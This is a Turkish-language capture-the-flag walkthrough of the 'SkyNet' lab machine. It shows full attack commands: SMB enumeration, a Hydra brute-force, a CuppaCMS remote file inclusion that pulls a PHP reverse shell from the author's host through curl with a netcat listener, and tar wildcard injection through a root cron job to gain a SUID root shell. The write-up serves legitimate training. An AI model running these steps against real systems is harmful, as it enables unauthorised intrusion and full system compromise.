Keşif (Recon)
Standart bir nmap taramasıyla başladım:
nmap -sC -sV -p- <hedef-ip>
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
Açık portlar tek başına bir hikaye anlatıyordu: SMB (139/445) ve mail servisleri (110/143) bir arada olduğunda, genelde biri diğerine giden kimlik bilgisini taşır. Web tarafında da (80) bir CMS çalışıyordu. Plan basitti: önce kimlik bilgisi gerektirmeyen kapılara bakmak.
SMB Enumerasyonu — Anonim Erişim
SMB paylaşımlarını kimlik bilgisi vermeden listeledim:
smbmap -H <hedef-ip>
Disk Permissions Comment
---- ----------- -------
anonymous READ ONLY Skynet Anonymous Share
milesdyson NO ACCESS Personal Share
anonymous paylaşımı okuma izniyle açıktı; milesdyson ise
erişim vermiyordu ama ismiyle bile bir ipucuydu — muhtemel bir kullanıcı adı. Anonim
paylaşımın içine girdim:
smbclient //<hedef-ip>/anonymous -N
prompt off
recurse on
mget *
İndirilen dosyalar arasında bir log dosyasında terminator temalı bir
parola listesi vardı. Bunu milesdyson kullanıcı adıyla eşleştirip Hydra
ile SSH'a karşı denedim:
hydra -l milesdyson -P terminator-wordlist.txt ssh://<hedef-ip>
SSH'ta tutmadı, ancak aynı kimlik bilgisi (milesdyson : cyborg007haloterminator) ilerideki bir adımda işe yarayacaktı.
Mail Servisleri — SquirrelMail'de Bir Sonraki İpucu
Aynı kimlik bilgisiyle web arayüzündeki SquirrelMail'e (/squirrelmail/)
giriş yaptım. Gelen kutusunda sistem bakımı görünümlü bir e-posta, milesdyson
için değiştirilmiş yeni bir SMB parolasını içeriyordu. Bu, ilk parolanın SSH'ta değil
SMB'de işe yarayacağı anlamına geliyordu — klasik bir "aynı bilgiyi başka serviste dene"
dersi.
Gizli Paylaşım ve CuppaCMS Üzerinden RFI
Yeni parolayla milesdyson paylaşımına bağlandım:
smbclient //<hedef-ip>/milesdyson -U milesdyson
İçerideki bir notta, web kökünde gizli tutulan bir dizin adı geçiyordu:
45kra24zxs28v3yd. Bu yola gidince bir CuppaCMS kurulumu
buldum. CuppaCMS'in bilinen bir zafiyeti, bir parametreyi doğrudan
include() etmesiydi:
<?php include($_REQUEST["urlConfig"]); ?>
Sunucunun php.ini dosyasında allow_url_include = On
olduğunu doğruladıktan sonra (bu ayar olmadan sadece LFI mümkün olurdu), bunu bir
Remote File Inclusion (RFI)'a çevirdim: kendi makinemde bir PHP
reverse shell barındırıp hedefe "git bu dosyayı çek ve çalıştır" dedim.
# kendi makinemde
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
# shell.php içindeki $ip ve $port'u kendi IP/portuma göre düzenledim
python3 -m http.server 8080
# ayrı bir terminalde
nc -lvnp 1234
# açığı tetikleme
curl "http://<hedef-ip>/45kra24zxs28v3yd/.../alertConfigField.php?urlConfig=http://<kendi-ip>:8080/shell.php"
Sunucu dosyayı çekip include() ile çalıştırdı ve www-data
olarak bir reverse shell düştü. /home altından USER flag'i buradan aldım.
Yetki Yükseltme — tar Wildcard Injection
/etc/crontab'a baktığımda root'un düzenli çalıştırdığı bir betik gördüm:
*/1 * * * * root /home/milesdyson/backups/backup.sh
#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *
Üç parça bir araya geliyordu: root'un çalıştırdığı bir cron, bu cron'un tar'ı
wildcard (*) ile çağırması, ve /var/www/html'in
www-data için yazılabilir olması (linpeas ile doğruladım). Kabuk, *'ı
genişletirken dizindeki dosya adlarını argüman gibi de yorumlayabiliyor — bu yüzden isimleri
--checkpoint=1 ve --checkpoint-action=exec=... olan dosyalar
bırakırsam, tar bunları dosya değil komut sanıp benim kodumu root
yetkisiyle çalıştırır (klasik GTFOBins tar tekniği):
cd /var/www/html
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash\n' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=bash shell.sh"
Bir dakika içinde cron tetiklendi, tar * tuzak dosyaları argüman olarak
yuttu ve shell.sh root olarak çalıştı. SUID kopyalanan bash ile root
shell'i aldım:
/tmp/rootbash -p
id # uid=0(root)
cat /root/root.txt
İlk denemede --checkpoint-action'ı sh shell.sh ile
çağırmıştım ve çalışmamıştı — Ubuntu'da sh, /dev/tcp'yi
desteklemeyen dash'e bağlıdır ve sh ile çağrılan bir dosyada
#!/bin/bash shebang'i de yok sayılır. bash shell.sh olarak
açıkça çağırınca sorun çözüldü.
Sonuç ve Öğrendiklerim
SkyNet'in asıl dersi teknik değil, yöntemdi: her bulgu (bir parola listesi, bir
e-posta, bir dizin adı) tek başına işe yaramıyordu — bir sonraki servise taşındığında
anlam kazandı. Ayrıca root cron + wildcard + yazılabilir dizin üçlüsünü
bir arada gördüğümde artık refleks olarak GTFOBins'e bakıyorum; aynı zafiyet sınıfı
chown, chmod, rsync gibi başka komutlarda da
karşıma çıkabilir.